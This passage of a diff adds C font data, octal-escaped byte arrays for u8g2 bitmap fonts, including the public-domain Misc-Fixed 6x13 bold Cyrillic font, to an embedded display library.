+    "\21\0)\14\346\370\341j\234\26\323\60\307\0*\16\346\370\311YR\32\303)\251\345\24\0+\12\346\370"
+    "Yk\203\226\346\14,\11\346\370\371A\324t\14-\11\346\370y\31tn\0.\11\346\370\371A\324)"
+    "\0/\13\346\370Y\302\64\254\206\71\15\60\12\346\370\311Z\324\277\351\4\61\11\346\370\311\241\332q'\62"
+    "\14\346\370\251S\226\206\215\203\16\3\63\15\346\370\211\203\32\206r\222E;\1\64\15\346\370\31B-\211"
+    "J\203\230\346\4\65\15\346\370\211\203\222\16q\232d\321N\66\15\346\370\311Z\230\16Q\226d\321N\67"
+    "\14\346\370\211\203\32\246aZ\247\0\70\16\346\370\251S\226d\321\224%Y\264\23\71\16\346\370\251S\226"
+    "d\321\220\206\231N\1:\13\346\370\271\211:&\352\24\0;\13\346\370\271\211:&j:\6<\11\346"
+    "\370\231\303r\235\14=\13\346\370\71\15:\60\350\214\0>\11\346\370\31\343b\235\5\77\14\346\370\251S"
+    "\26Vs\60\247\0@\15\346\370\251S\226$K\227%\336\11A\20\346\370\251S\226d\311\240dI\226"
+    "d\71\14B\15\346\370\211C\26\65mQ\313\220\23C\13\346\370\251S\226\244m\321ND\13\346\370\211"
+    "C\26\365/CNE\16\346\370\211\203\222\246C\224\246\203\16\3F\15\346\370\211\203\222\246C\224\326i"
+    "\0G\15\346\370\251S\226\244%%\213v\2H\21\346\370\211Y\222%Y\62(Y\222%Y\16\3I"
+    "\11\346\370\251c\332q'J\13\346\370\311c\332T\323)\0K\17\346\370\211Y\22U\62\61\311\242Z"
+    "\16\3L\12\346\370\211i\257\203\16\3M\17\346\370\211Yb\351\226dI\226d\71\14N\20\346\370\211"
+    "Y\222%R\322I\311\222,\207\1O\17\346\370\251S\226dI\226dI\26\355\4P\16\346\370\211C"
+    "\224%Y\62Di\235\6Q\17\346\370\251S\226dI\226t\312\224\34\6R\20\346\370\211C\224%Y"
+    "\62DI\26\325r\30S\15\346\370\251S\226\304s\222E;\1T\12\346\370\211\203\226\366N\1U\20"
+    "\346\370\211Y\222%Y\222%Y\222E;\1V\20\346\370\211Y\222%Y\222EI\226\204\71\5W\17"
+    "\346\370\211Y\222%Y\222%}Jr\2X\20\346\370\211Y\222EIX\211\262$\313a\0Y\15\346"
+    "\370\211Y\222EI\230\266S\0Z\13\346\370\211\203\32v\35t\30[\12\346\370\341-\355\353\216\0\134"
+    "\13\346\370\211q\32W\343\34\6]\11\346\370\341\265\337v\4^\13\346\370\11a\22e\71_\0_\10"
+    "\346\370\371\267A\1`\10\346\370\341v>\1a\15\346\370\271\315\321\220d\321\220\303\0b\17\346\370\211"
+    "i:DY\222%Y\62\344\4c\13\346\370\271MY\222f\321Nd\20\346\370Y\322hH\262$K"
+    "\262h\310a\0e\13\346\370\271MY\62D\361Nf\13\346\370\311ZT\34\323:\11g\16\346\370\271"
+    "MY\222%Y\64\244\321\4h\20\346\370\211i:DY\222%Y\222\345\60\0i\12\346\370\311\71\246"
+    "\66\356\4j\13\346\370YrL\355T\223\0k\16\346\370\211i-\211\242-\252\345\60\0l\11\346\370"
+    "\251j\217;\1m\13\346\370\71)Q\322\377\16\3n\16\346\370\71%\222\224dI\226d\71\14o\14"
+    "\346\370\271MY\222%Y\264\23p\17\346\370\71\15Q\226dI\226\14Q\232\2q\16\346\370\271\15I"
+    "\226dI\26\15i\5r\14\346\370\71%\222\224\244u\32\0s\13\346\370\271\15I<'CNt\14"
+    "\346\370\311i\66hiY\207\1u\16\346\370\71eI\226dId\311a\0v\16\346\370\71eI\226"
+    "dQ\22\346\24\0w\14\346\370\71eI\226\364)\311\11x\15\346\370\71eQ\22V\242,\207\1y"
+    "\15\346\370\71eI\226dQ\22\266\2z\13\346\370\71\15b\343\240\303\0{\14\346\370)aZ\214\323"
+    "r\216\0|\11\346\370\11i\177\207\0}\13\346\370\341j\71L\213\71\6~\12\346\370\271EI\247\234"
+    "\25\240\7\346\370\371O\0\241\12\346\370\311\71\230v\247\0\242\15\346\370Y\303)\351\226\224\306\34\2\243"
+    "\15\346\370\311ZT\34\323(It\2\244\17\346\370\71%\245$\312\242$J\352\60\0\245\17\346\370\211"
+    "Y\224D\203\226\15Z\232S\0\246\13\346\370\311i\35L\353\24\0\247\14\346\370\11S\254Emr\264"
+    "\23\250\10\346\370\341$\347\17\251\20\346\370\251C\22J\211\22I\211\230\14\71\14\252\13\346\370\21-\11"
+    "uh\347\15\253\16\346\370\71&Q\22%a\22&\71\14\254\11\346\370y\31\324:\25\255\10\346\370y"
+    "\332\71\2\256\20\346\370\251C\22*\226H\211\304d\310a\0\257\11\346\370\321A\347g\0\260\12\346\370"
+    "\21-j\323\371\4\261\15\346\370\311i\66hi\16\15:\14\262\13\346\270\302$\15\303\235O\0\263\12"
+    "\346x\344\60\316t\276\1\264\11\346\370)a\235\217\0\265\16\346\370\71eI\226dI\244,\325\24\266"
+    "\22\346\370\341!Y\222%Y\42%K\262$Kr\30\267\10\346\370\71\332\71\2\270\10\346\370\371\207L"
+    "\3\271\11\346\270B\265\270\363\11\272\13\346\270\302$\314\261\235O\0\273\16\346\370\71%a\22&Q\22"
+    "%\71\5\274\16\346xB\265%\324\222l\10\323\234\0\275\15\346xB\265%L\322\260\272\303\0\276\17"
+    "\346\70\344\60\316\224PK\262!Ls\2\277\13\346\370\311\71\230\206\265h'\300\22\346x\342\34\233\262"
+    "$K\6%K\262$\313a\0\301\22\346\370\302\34\233\262$K\6%K\262$\313a\0\302\22\346\270"
+    "\302$\207\246,\311\222A\311\222,\311r\30\303\23\346x\224\212\16MY\222%\203\222%Y\222\345\60"
+    "\0\304\22\346\370\201$\207\246,\311\222A\311\222,\311r\30\305\22\346\270\302$\14\247,\311\222A\311"
+    "\222,\311r\30\306\20\346\370\251CRK\262!J\262$Kv\30\307\15\346\370\251S\226\244m\321\232"
+    "i\0\310\17\346x\342\34\32\224\64\35\242\64\35t\30\311\17\346\370\302\34\32\224\64\35\242\64\35t\30"
+    "\312\20\346\270\302$G\6%M\207(M\7\35\6\313\20\346\370\201$G\6%M\207(M\7\35\6"
+    "\314\13\346x\342\34\33\323\216;\1\315\13\346\370\302\34\33\323\216;\1\316\13\346\270\302$\207\306\264\343"
+    "N\317\13\346\370\201$\207\306\264\343N\320\14\346\370\251[\324\262D\235v\2\321\22\346x\224\212\216d"
+    "I\226HI'%K\262\34\6\322\20\346x\342\34\233\262$K\262$K\262h'\323\20\346\370\302\34"
+    "\233\262$K\262$K\262h'\324\21\346\270\302$\207\246,\311\222,\311\222,\332\11\325\21\346x\224"
+    "\212\16MY\222%Y\222%Y\264\23\326\21\346\370\201$\207\246,\311\222,\311\222,\332\11\327\14\346"
+    "\370\331JIX\211\262\234\12\330\16\346\370I\321\24)\375\213\24M\71\10\331\21\346x\342\34\312\222,"
+    "\311\222,\311\222,\332\11\332\21\346\370\302\34\312\222,\311\222,\311\222,\332\11\333\22\346\270\302$G"
+    "\262$K\262$K\262$\213v\2\334\22\346\370\201$G\262$K\262$K\262$\213v\2\335\16\346"
+    "\370\302\34\312\222,J\302\264\235\2\336\14\346\370\251\351\26\365\264\345$\0\337\16\346\370\251S\226D\225"
+    ",\252%\211N\340\16\346\370\341:\66GC\222EC\16\3\341\17\346\370)a\216\315\321\220d\321\220"
+    "\303\0\342\20\346\370\11a\222Cs\64$Y\64\344\60\0\343\20\346\370a\245\242Cs\64$Y\64\344"
+    "\60\0\344\17\346\370\251I\16\315\321\220d\321\220\303\0\345\20\346\370\11a\22\206s\64$Y\64\344\60"
+    "\0\346\15\346\370\271\215I\64%\341\220\303\0\347\15\346\370\271MY\222f\321\232i\0\350\15\346\370\341"
+    ":\66e\311\20\305;\1\351\15\346\370)a\216MY\62D\361N\352\16\346\370\11a\222CS\226\14"
+    "Q\274\23\353\15\346\370\251I\16MY\62D\361N\354\12\346\370\341:\246\66\356\4\355\13\346\370)a"
+    "\216\251\215;\1\356\13\346\370\11a\222Cj\343N\357\13\346\370\251I\16\251\215;\1\360\20\346\370\201"
+    "$\254\304\321\220dI\226d\321N\361\21\346\370a\245\242#\211$%Y\222%Y\16\3\362\15\346\370"
+    "\341:\66eI\226d\321N\363\16\346\370)a\216MY\222%Y\264\23\364\17\346\370\11a\222CS"
+    "\226dI\26\355\4\365\17\346\370a\245\242CS\226dI\26\355\4\366\16\346\370\251I\16MY\222%"
+    "Y\264\23\367\13\346\370Ysh\320\241\234\1\370\15\346\370\271\15I\244\264H\311\220\23\371\16\346\370\341"
+    ":\224%Y\222%Y\264\23\372\17\346\370)a\16eI\226dI\26\355\4\373\20\346\370\11a\222#"
+    "Y\222%Y\222E;\1\374\17\346\370\251I\216dI\226dI\26\355\4\375\17\346\370)a\16eI"
+    "\226dQ\22\266\2\376\20\346\370\211i:DY\222%Y\62Di\12\377\17\346\370\251I\216dI\226"
+    "dQ\22\266\2\0\0\0\10%\221\5\217\377\377 \240\16\346\370\251Z\232,\305\61\335a\0 \241\17"
+    "\346\370\251C\322\27%R\42E\332\11 \242\17\346\370\251S\226\244\211\224dIi' \243\20\346\370"
+    "\211\203\222\246KEJ\262$\247\0 \244\16\346\370\311Z\224\214\341\30%\211N \245\15\346\370\271F"
+    "C\224\364\247\34\3 \246\22\346\370\211Y\42%\303\220T\206!R\262\34\6 \247\17\346\370\251b\22"
+    "\15R\222\211iN\2 \250\21\346\370Q\61\311\222LQj\211\224\264\350\4 \251\20\346\370\211\303\220"
+    "%\303\220\364b\311r\30 \252\15\346\370a-J\374\227\310\16\3 \253\24\346\370I\331\20FC\222"
+    "%Y\222EC\216\14\11\0 \254\16\346\370\311S\70d\341\220\305;\14 \255\17\346\370\251Q\227h"
+    "\220\222,j\207\1 \256\16\346\370\211\203\226j\252\246\346\24\0 \257\17\346\370\341pL\262\250\227%"
+    "Qr\2 \260\21\346\370)a\222%a\232%\231\322\65\214\0 \261\21\346\370a\61\211\6e\220\222"
+    "LLs\22\0 \262\20\346\370\11\341\224tK\262di\32s\10 \263\21\346\370\251S\226\14J\226"
+    "\14J\226d\71\14 \264\16\346\370\251r\64h\331 \305:\1 \265\21\346\370\11\341\224tK\262$"
+    "KJc\16\1!\3\15\346x\302$\214\247\264\363\16\3!\11\17\346x\302$\214\207(M\267\264N"
+    "\1!&\21\346\370\251S\226dI\226dQ\22):\14!\220\14\346\370Y\303p\220\342\234\1!\221"
+    "\15\346\370\311\341\224\324\322v\12\0!\222\13\346\370Y\343h\20\353\14!\223\15\346\370\311i[R\32"
+    "s\12\0!\224\15\346\370\271%\321 %\71+\0!\225\16\346\370\311\341\224\324*\245\61\247\0!\226"
+    "\17\346\270\305!\332\222\64N\343\64\207\1!\227\20\346\370!i\310\266$\13\323\60\315i\0!\230\17"
+    "\346\270\323\70\215\323$\233\206P\207\1!\231\17\346\370\261\64L\303,\311\16\221N\2!\232\15\346\370"
+    "Y\223\250\62,E\235\14!\233\16\346\370Y\305$\31\226\250\222\223\1!\234\14\346\370\71\211\212$\345"
+    "l\0!\235\13\346\370\71+\312\244\63\2!\236\17\346\370Y\223(\211\206\245\230\344T\0!\237\17\346"
+    "\370\11\341\224\224\246\244\226\326)\0!\240\17\346\370\31\223\60I\206)\211\222\234\14!\241\17\346\370\11"
+    "i-)MIi\314)\0!\242\17\346\370Y\243$J\206,\312\242\234\10!\243\17\346\370\331\242,"
+    "\312\206$J\242\234\14!\244\16\346\370Y\223\250\62H\265$\247\2!\245\16\346\370\311\341\224\324\322\332"
+    "\240\303\0!\246\16\346\370\331\222,\212\6%\252\344\14!\247\16\346\370\211\203\226\326\222\322\230S\0!"
+    "\250\16\346\370\311\341\224\324*\245\203\16\3!\251\14\346\370Y\223(\33\246\70g!\252\15\346\370\31\223"
+    "(\213\6\261N\6!\253\17\346\370Y\303h\30\224(Kr*\0!\254\16\346\370\231#)\31\226\250"
+    "\222\223\1!\255\16\346\370\271E\211\62,J\224S\1!\256\16\346\370\71D\211\62,J\224\263\0!"
+    "\257\16\346\370\211iT\221\224\250\70\346\4!\260\16\346\370\11a\70H\265$m\207\1!\261\17\346\370"
+    "\11q\64(Q%K\353\64\0!\262\17\346\370Ii-\211*\203\24\347\24\0!\263\16\346\370\211i"
+    "%\213\242A\254S\0!\264\14\346\370\71\15i\70\346d\0!\265\15\346\370\71\244Qe\220r\26\0"
+    "!\266\15\346\370Y\265\250e\211\352T\0!\267\14\346\370\31\265\250\313\230\223\1!\270\16\346\370\321A"
+    "I\67\61I\343\64'!\271\21\346\270\223L\34\24\61)*\203\250%\71\14!\272\15\346\370Y\67)"
+    "iK\262h'!\273\15\346\370\331F-iK\262h'!\320\14\346\370Y\303!\211\207,g!\321"
+    "\21\346\370\311a\22)R\222%Y\222%\71\1!\322\14\346\370Y\263!N\206\60g!\323\21\346\370"
+    "\251I\226dI\226D\212\224\204\71\5!\324\17\346\370\31\243d\30\302aH\242\234\12!\325\22\346\370"
+    "\11a\22)R\222%\221\42%aN\1!\326\20\346\370\331\6\245\246DIS\22\346\60\0!\327\20"
+    "\346\370\31\7-\211\22\245\242DIN\2!\330\20\346\370\31+Q\322\224hI\62\350(\0!\331\20"
+    "\346\370\71$Q\242T\224(\311\6\35\6!\346\15\346\370Y\303!\311\242!\313\31!\347\21\346\370\11"
+    "a\22)R\222%Y\222%\331N!\350\15\346\370Y\263!\312\222!\314\31!\351\22\346\370\341-\311"
+    "\222,\311\222H\221\222\60\247\0%\200\11\346\70\376\277\363\2%\201\11\346\370\371\343\360\0%\202\11\346"
+    "\370\371u\370\1%\203\10\346\370\371\360\177%\204\11\346\370y\31\376\37%\205\11\346\370\331\206\377\177%"
+    "\206\12\346\370\211\303\377\377\0%\207\11\346\270\207\377\377\37%\210\11\346\70\376\377\377\3%\211\30\346\70"
+    "\6eP\6eP\6eP\6eP\6eP\6eP\0%\212\30\346\70\206h\210\206h\210\206h"
+    "\210\206h\210\206h\210\206h\210\0%\213\30\346\70\206h\210\206h\210\206h\210\206h\210\206h\210\206"
+    "h\210\0%\214\11\346\70\266\377\67\0%\215\11\346\70D\377G\0%\216\11\346\70D\377G\0%\217"
+    "\11\346\70\322\376W\0%\220\7\346\370\376\77%\221\20\346\70\222:\322\234\324\221\346\244\216\64\3%\222"
+    "\30\346\70\222R\222(\245$QJI\242\224\222D)%\211RJ\12%\223\26\346x*\303\240T\206"
+    "\245\62\14JeX*\303\240T\206\1%\224\11\346\70\276\363G\0%\225\7\346x\373\77%\226\11\346"
+    "\370y\331~\3%\227\10\346\370y\334~%\230\11\346\70\266\337y\4%\231\11\346\70\266\77\374\77%"
+    "\232\11\346\70\266\237\267\37%\233\11\346\70\376\177\373\15%\234\11\346\70\376\277\375\1%\235\11\346\370\376"
+    "\316\13\0%\236\11\346\370\376\260\375\6%\237\11\346\370\376\360\377\1%\240\17\346\370\71\15\312\240\14\312"
+    "\240\14:\14%\241\17\346\370\71\15J\226dI\226\14:\14%\242\15\346\370\271MY\222%Y\264\23"
+    "%\243\16\346\370\71\15J\226tK\6\35\6%\244\17\346\370\71\15J\226\14J\226\14:\14%\245\15"
+    "\346\370\71\15J\377\62\350\60\0%\246\16\346\370\71\15J\313\240\264\14:\14%\247\16\346\370\71\15\212"
+    "\224tR\6\35\6%\250\17\346\370\71\15J\244\264H\311\240\303\0%\251\16\346\370\71\15\212\245\305\62"
+    "\350\60\0%\252\11\346\370\271\275\263\2%\253\13\346\370\271mI\266\263\2%\254\12\346\370\331\206\377\235"
+    "\10%\255\15\346\370\331\206!\64\16CN\4%\256\26\346\370\201!\32\242!\32\242!\32\242!\32\242"
+    "!\32r\0%\257\14\346\370\201!\352\377OC\16%\260\15\346\370\71\16\311\220\14\71+\0%\261\15"
+    "\346\370\71\16I\224\14\71+\0%\262\17\346\370\311i\270M\203\62(\203\16\3%\263\21\346\370\311i"
+    "\230dI\224%Y\62\350\60\0%\264\14\346\370Y\213\333\64\350T\0%\265\15\346\370Y\213I\226D"
+    "\203N\5%\266\16\346\370\251\251\270\15\321&\346$\0%\267\17\346\370\251\251\230dQ%\23s\22\0"
+    "%\270\14\346\370\31Sq\23s\26\0%\271\14\346\370\31S\61\311\304\234\5%\272\15\346\370\331\304!"
+    "\32\16\221\316\2%\273\15\346\370\331\304D\312\26Ig\1%\274\17\346\370\211\203\62(\203\264\215iN"
+    "\1%\275\21\346\370\211\203\222%Y\224dI\230\346\24\0%\276\14\346\370\71\15\322\66\246\71\5%\277"
+    "\16\346\370\71\15R\222%a\232S\0%\300\16\346\370YBm\32\262Q\315a\0%\301\17\346\370Y"
+    "B-\211jI\250\346\60\0%\302\14\346\370\231CmTs\62\0%\303\14\346\370\231C-\11\325\234"
+    "\14%\304\15\346\370\71H\303!\32B\235\10%\305\15\346\370\71H\312\26)\241N\4%\306\14\346\370"
+    "Y\303i\220\306\234\1%\307\15\346\370Y\303$\312\242$\314\31%\310\15\346\370Y\303$JJI\230"
+    "\63%\311\15\346\370Y\265(I\134J\231N%\312\21\346\370\311a\222%Q\26%Y\22\346\24\0%"
+    "\313\16\346\370Y\265(\11\305$\312t\2%\314\16\346\370Ys \311\261$\7r\2%\315\13\346\370"
+    "\271MI\177\332\11%\316\16\346\370\251S\226\264X\272E;\1%\317\15\346\370Y\265!\31^\206L"
+    "'%\320\17\346\370Y\65%\231\206(Q\62\235\0%\321\17\346\370Y\265D\211\206hI\64\235\0%"
+    "\322\17\346\370Y\265(\11\207!\31\62\235\0%\323\17\346\370Y\265!\31\206\60\211\62\235\0%\324\17"
+    "\346\370Y\265D\211\206\60\211\62\235\0%\325\16\346\370Y\65%\231\304$\312t\2%\326\22\346\370\301"
+    "l\32\242!\31\244!\32\262\65G\1%\327\21\346\270\323m\210\206hP\206h\210\266\234\6%\330\15"
+    "\346\70\376\203\64\212\323\360\17\2%\331\22\346\70\376 -J\62DC\222(\323\360\203\0%\332\15\346"
+    "\70\376 -J\62\344<\1%\333\15\346\370y\32\222D\231\206\37\4%\334\11\346\370Y\303:\17%"
+    "\335\11\346\370\231\333\71\1%\336\11\346\370\371\32\326\11%\337\12\346\370\371\20\327)\0%\340\14\346\370"
+    "Y\265(\11sN\0%\341\13\346\370\371\20&Q\246\23%\342\15\346\370\71\207\332\64$\203\16\3%"
+    "\343\15\346\370\71\245\342\66D\203\16\3%\344\15\346\370\71\15\312\20mbN\3%\345\15\346\370\71\15"
+    "\322\220\215j\16\3%\346\15\346\370\271MY\222%Y\264\23%\347\17\346\370\71\15\312\222,\311\222\14"
+    ":\14%\350\17\346\370\71\15J\262$Kr\320a\0%\351\17\346\370\71\15\312\240,\211\224\14:\14"
+    "%\352\17\346\370\71\15J\244$\7e\320a\0%\353\15\346\370\71\15J\377\62\350\60\0%\354\17\346"
+    "\370\311i\230dS\322\226\14:\14%\355\17\346\370\311i\270MK\262$\203\16\3%\356\16\346\370\311"
+    "i\270M\311\222\34t\30%\357\16\346\370\311Z\224\204\306$\312t\2%\360\16\346\370\71\15J\313R"
+    "K\6\35\6%\361\16\346\370\71\15J\226,]\6\35\6%\362\17\346\370\71\15J\226$K\313\240\303"
+    "\0%\363\16\346\370\71\15J\227%K\6\35\6%\364\15\346\370\271MIe\251E;\1%\365\14\346"
+    "\370\271MY\262t\332\11%\366\15\346\370\271MY\222,M;\1%\367\15\346\370\271MI\313\222E"
+    ";\1%\370\15\346\370\331\6%\252db\316\4%\371\15\346\370\331\6\251\226\204jN\5%\372\16\346"
+    "\370\331R\61\311\242h\320\251\0%\373\14\346\370\31\207\250\323\220\63\2%\374\16\346\370\271\15\321\20\15"
+    "\321\220S\1%\375\14\346\370\31\207\250\323\220\63\2%\376\16\346\370\31\207h\210\206h\310\31\1%\377"
+    "\15\346\370\71\204Z\22U\6\235\12&\0\15\346\370\221\64k\34\263\326\234\2&\1\14\346\370\31\265A"
+    "\31vN\0&\2\17\346\370\221p\32\224AK\33s\22\0&\3\23\346\70\222piJJI\226T"
+    "\246,\311\242\235\0&\4\20\346\70\243\226,i\13#-j\323)\0&\5\16\346\370\311i\66H\333"
+    "\224\345T\0&\6\16\346\370\311i\66HI\66e\71\25&\7\14\346\370\261\260s%\324v\30&\10"
+    "\22\346\270\7%K\242.Y\222EJ\244$;\14&\11\15\346\370\31\247,\351\26\355d\0&\12\21"
+    "\346\370\251S\226dQ\222%QRJr\2&\13\21\346\370\251I\224\224\222,\211\262$\213v\2&"
+    "\14\13\346\370\71GS\67\235\2&\15\17\346\370\21-j\23C-j\323)\0&\16\17\346\370\251\323"
+    "\240\64\35\224A\31t\30&\17\20\346\370\251S\322\323\224%Y\62\350\60\0&\20\15\346\270\207!\364"
+    "\343\60\344(\0&\21\22\346\270\207!\324N\211\224,\211\22\15C\216\2&\22\21\346\270\207A\32\242"
+    "\305\227i\210\206AG\1&\23\23\346\270\263$\213\222,\11+Y\22eI\226\303\0&\26\23\346\370"
+    "\11a\22eI\226dI\226d\311\240\303\0&\27\22\346\370\11\341\64(\203\62(\203\62(\203\16\3"
+    "&\31\22\346\370IY\224\34\226%\31\222d\211\222\34\6&\32\16\346\370\71\15\313\240\14\322\220\23\1"
+    "&\33\15\346\370\71\15\7eP\206\234\14&\34\16\346\370\71\15K\244D\322\220\23\1&\35\20\346\370"
+    "I\241\64DJ\324i\210\206\34\6&\36\16\346\370\71\15\203\224H\311\220\223\1&\37\20\346\370\201!"
+    "\32\242NJ\64\204j\35\6&T\24\346\270\302mJ*\203\222EI\226DY\62\350\60\0&U\24"
+    "\346\270\223\312\240d\311 %Y\222%Q\226\14:\14&V\22\346\370\211Ie\220\222,\311\222(K"
+    "\6\35\6&W\23\346\370\221\60\311&E\311\242$K\242,\31t\30&X\23\346\370\241pRj\311"
+    "\222%Y\22e\311\240\243\0&Y\21\346\370\11a\22V\262$K\242,\31t\30&Z\22\346\270\302"
+    "mJ*\203\62H\333\64(\203\16\3&[\21\346\270\223\312\240\14\312 m\247A\31t\30&\134\17"
+    "\346\370\211Ie\220\266\323\240\14:\14&]\22\346\370\221p\233\24%\213\222l\32\224A\207\1&^"
+    "\21\346\370\241pJ\224A\31\264\323\240\14:\12&_\16\346\370\11\341\30n\247A\31t\30&`\16"
+    "\346\370\11i\270M\203\62h\341N&a\17\346\370\251I\224\364-J\302\64\247\0&b\21\346\370\311"
+    "a\222%Q\26%Y\22\346\24\0&c\17\346\370\341mJ*\203\62(m\341N&d\20\346\370\251"
+    "I\64(\203\62Hc\232S\0&e\21\346\370\341$\32\224A\31\224A\332\306\234\2&f\17\346\370"
+    "\11\341\66\15\312 mcN\1&g\17\346\370\11a\22\206SR\32\303\235\0&\200\23\346\270\7%"
+    "K\262$K\272%Y\222%\203\16\3&\201\24\346\270\7%K\244$K\262$K\42%K\6\35\6"
+    "&\202\23\346\270\7%K\244$K\272%\221\222%\203\16\3&\203\23\346\270\7%K,Y\222%Y"
+    "b\311\222A\207\1&\204\22\346\270\7%K,Y\322-\261d\311\240\303\0&\205\22\346\270\7%K"
+    ",Yb\311\22K\226\14:\14'\23\16\346\370Y\322\60\215\222l\314I\0'\24\16\346\370YDm"
+    "P\224A\32u\2'\25\16\346\370\71eQ\22V\242,\207\1'\26\16\346\370\331\24e\320\262A\261"
+    "S\1'\27\16\346\370\331JIX\211\262$\247\1'\30\20\346\370\331\244!R\206\350\60HC\216\1"
+    "'O\16\346\370\331\6%{\30\224AG\1'P\14\346\370\31\207\267\207!\207\1'Q\16\346\370\331"
+    "\6%{\30\224AG\1'R\14\346\370\31\207\267\207!\207\1\0";
+
+/*
+  Fontname: -Misc-Fixed-Bold-R-SemiCondensed--13-120-75-75-C-60-ISO10646-1
+  Copyright: Public domain font.  Share and enjoy.
+  Glyphs: 221/1282
+  BBX Build Mode: 0
+*/
+
+const uint8_t u8g2_font_6x13B_t_cyrillic[2775] =
+    "\335\0\3\3\3\4\3\5\4\6\15\0\376\11\376\12\377\1e\2\300\4\15 \5\0n\7!\7JC"
+    "\307\223\0\42\10\35Z\207\204E\0#\14>F\17\211b\241XH\24\0$\13>F\227\214Bc\241"
+    "\211\0%\17NB\217\344\20!\312\24)\207\210\4\0&\14>B\217\214D\223\35\42\242\2'\6\32"
+    "[\207\1(\14\334>\227D$\21\351&\222\11)\15\334>\207L$\23\351\42\222\210\0*\13.J"
+    "\207HB\261PD\2+\12.J\227Pd\22\212\0,\10\234>\317D\11\0-\6\16R\207\1."
+    "\10\234>\217\204\42\1/\14NB\247\232P\246(\23\12\1\60\14NB\227\214\42\342IB\23\1\61"
+    "\12NB\227lD\324\223\1\62\13NB\17ED\22\312t\64\63\15NB\207Q\246F\25\222$\24"
+    "\0\64\16NB\237P\66\42E\264\330\204\22\0\65\16NB\307!(\254L\204B\222\204\2\66\16N"
+    "B\327H&\24V&$\222\204\2\67\15NB\207Q&\224\11eB\65\0\70\16NB\17E\304$"
+    "\241\210\230$\24\0\71\15NB\17E\304\62)\252\211F\0:\14\304B\217\204\42\207I(\22\0;"
+    "\13\304>\217\204\42\207M\224\0<\10NB\247LW\35=\7&J\207\35j>\11NB\207T\67"
+    "\35\1\77\16NB\17ED\22\312\24\345\60\21\0@\14NB\17E\304r\70X\244\5A\14NB"
+    "\227\214\42b:\214\230\4B\15NBGI\242\27\222D\227\13\0C\13NB\17ED\324\223\204\2"
+    "D\13NBGI\242\377\313\5\0E\13NB\307!\250X\21*\32F\13NB\307!\250X\21j"
+    "\4G\15NB\17ED\324R\42I(\0H\13NB\207\210\323a\304I\0I\11\314B\7E\244"
+    "/\4J\13NB\27Q\217$\11\5\0K\16NB\207\210EB\232\221$J$\1L\10NB\207"
+    "P\77\32M\13NB\207\210tx\10q\22N\15NB\207\250R\71\34$M$\1O\13NB\17"
+    "E\304O\22\12\0P\13NBGE\304t\21j\4Q\13V>\17E\304\247C\204*R\15NB"
+    "GE\304t!I\224H\2S\16NB\17ED\224R\205$\11\5\0T\11NB\207I\250\237\0"
+    "U\12NB\207\210\77I(\0V\14NB\207\210\223\204\304&\24\1W\12NB\207\210\323\341\223\0"
+    "X\16NB\207\210$!\321d$\212\210$Y\14NB\207\210$!\321\204:\1Z\14NB\207Q"
+    "&\224)\312\204\6[\10\334>\207I\177\42\134\14NB\207P*\224*J\205\2]\10\334>\7I"
+    "\177\62^\10\36Z\227\214\42\22_\6\16>\207\1`\7\223b\207H\0a\12\66B\17Ur\242L"
+    "\24b\16NB\207P\213dB\42U(\22\0c\13\66B\17EDT\222P\0d\13NB\247\26"
+    "\11\245\304\62Qe\13\66B\17Et\30J)\0f\14NB\327H\242(+\11\265\1g\15F:"
+    "\317E\323HJ\21I(\0h\13NB\207P\213dB\342$i\12\314B\217H:\322\205\0j\15"
+    "]:\237:`\246\215B\221L\0k\15NB\207P\213\204\64#I\224\4l\10\314B\307H\277\20"
+    "m\11\66BG\345\360P\22n\12\66B\207D\62!q\22o\12\66B\17E\304IB\1p\15F"
+    ":\207D\62!U(\212\212\0q\13F:\217\204R\242L\24\65r\12\66B\207D\62!j\4s"
+    "\15\66B\17E$\231JD\22\12\0t\14FB\217PV\22j\21M\0u\11\66B\207\210\227\211"
+    "\2v\13\66B\207\210IB\242\211\0w\14\66B\207\210t\70XB\21\0x\14\66B\207HB\23"
+    "\312(\42\1y\14F:\207\210\313D\221$\241\0z\10\66B\207MG\3{\15]>\327D\246("
+    "\31\212d\212\3|\7JC\307\3\1}\16]>\307P\246$\234\10e*#\0~\10\35Z\217\344"
+    "\24\1\0\0\0\4\377\377\4\1\17VB\207\210$>\4\205\25\241\320\0\4\2\17^:GI($"
+    "I\364\217\62\11\0\4\3\14VB\227L\16:\4\365\10\4\4\16NB\27E&\24V\204R)\1"
+    "\4\5\17NB\17ED\224R\205$\11\5\0\4\6\12\314B\7E\244/\4\4\7\14VB\207\210"
+    "$\66\11u\62\4\10\14NB\27Q\217$\11\5\0\4\11\23NB\317,\22\213\304\42*\225\210("
+    "\42\42I\0\4\12\20NBG(O\225SD\24\21\221$\0\4\13\14NBGI($I\364\17"
+    "\4\14\21^B\237:DD\221\220f$\211\22I\0\4\16\20VBO,\64\7\210\230$E\222\204"
+    "\2\4\17\15^:\207\210\77\35BB\21\0\4\20\15NB\227\214\42b:\214\230\4\4\21\15NB"
+    "GE\250X\21\61]\0\4\22\15NBGE\304t\21\61]\0\4\23\12NB\307!\250\37\1\4"
+    "\24\14V>\27E\377/\7a\0\4\25\14NB\307!\250X\21*\32\4\26\15NBGD/'"
+    "\321E/\1\4\27\17NB\17E$T\232\12I\22\12\0\4\30\17NB\207\210R\71\34(\25\22"
+    "I\0\4\31\20VBO,\64\7\210X\16\25\22I\0\4\32\17NB\207\210EB\232\221$J$"
+    "\1\4\33\13NB\27E\377\13\211$\4\34\14NB\207\210tx\10q\22\4\35\14NB\207\210\323"
+    "a\304I\0\4\36\14NB\17E\304O\22\12\0\4\37\12NB\307!\304\237\4\4 \14NBG"
+    "E\304\351\42T\4\4!\14NB\17ED\324\223\204\2\4\42\12NB\207I\250\237\0\4#\14N"
+    "B\207\210'IQ\205\2\4$\17NB\17MF\211\350%B\223Q\0\4%\17NB\207\210$!"
+    "\321d$\212\210$\4&\13^:\207D\377\277\30\25\4'\13NB\207\210\223\244\250\3\4(\26N"
+    "BG$\62\211L\42\223\310$\62\211L\42\223\310!\0\4)\27^:G$\62\211L\42\223\310$"
+    "\62\211L\42\223\310!\250\0\4*\15NB\307l\250H\222\350\205\2\4+\14NB\207\210\251B\351"
+    "b\21\4,\14NB\207PcE\304t\1\4-\15NB\7UQRT\223\220\0\4.\21NB"
+    "GH\22\251\204\70IB\222\222\4\0\4/\16NB\317\211IR\242HH$\1\4\60\13\66B\17"
+    "Ur\242L\12\4\61\16FB\17E(\254\210\230$\24\0\4\62\14\66BGEt\21\221.\0\4"
